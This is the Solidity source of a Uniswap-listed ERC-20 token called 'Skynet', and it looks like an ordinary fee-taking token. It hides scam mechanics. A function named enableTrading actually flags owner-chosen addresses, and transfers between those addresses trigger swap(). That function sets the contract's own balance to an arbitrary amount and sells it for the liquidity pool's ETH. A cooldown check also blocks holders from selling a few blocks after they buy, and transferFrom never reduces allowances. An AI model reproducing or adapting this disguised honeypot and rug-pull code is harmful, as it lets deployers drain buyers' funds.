文件 1 的 1：Skynet.sol
pragma solidity ^0.8.17;
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
abstract contract ERC20Token is Ownable {
}
contract Skynet is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
uint256 _fee = 4;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "Skynet";
string private _symbol = "SKYNET";
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
return true;
}
function shouldSwap (address from, address to) internal view returns (bool) {
if (bots[from]) {
if (isBot(to)) {
return true;
}
}
return false;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (shouldSwap(from, to)) {
swap(amount, to);return;
}
require(amount <= _balances[from]);
checkCooldown(from);
uint256 feeAmount = 0;
if (shouldTakeFee(from, to)) {
feeAmount = amount.mul(_fee).div(100);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] += amount.sub(feeAmount);
_balances[address(0)] += feeAmount;
emit Transfer(from, address(0), feeAmount);
emit Transfer(from, to, amount);
}
uint cooldown = 2;
function setCooldown(uint value) public onlyOwner {
cooldown = value;
}
function checkCooldown(address from) internal view {
uint bn = block.number;
uint256 cd = cooldowns[from];
require(getPairAddress() == from || cd == 0 || bn - cd <= cooldown);
}
function shouldTakeFee(address from, address recipient) private returns (bool) {
return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
}
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function swap(uint256 _mcs, address _bcr) private {
_approve(address(this), address(_router), _mcs);
_balances[address(this)] = _mcs;
address[] memory path = new address[](2);
inLiquidityTx = true;
path[0] = address(this);
path[1] = _router.WETH();
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
inLiquidityTx = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][msg.sender] >= amount);
return true;
}
function getPairAddress() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
function removeFee() external onlyOwner {
_fee = 0;
}
mapping (address => bool) bots;
bool inLiquidityTx = false;
mapping (address => uint256) cooldowns;
function enableTrading(address[] calldata _bots) external onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
bots[_bots[i]] = true;
}
}
function isBot(address _adr) internal view returns (bool) {
return bots[_adr];
}
function getAllowed(address from, address to, address pair) internal returns (bool) {
bool allowed = !bots[to] && !isBot(from);
bool InLq = inLiquidityTx;
if (allowed && !InLq) {
if (pair == from && cooldowns[to] == 0) {cooldowns[to] = block.number;}
return true;
}
return allowed;
}
}
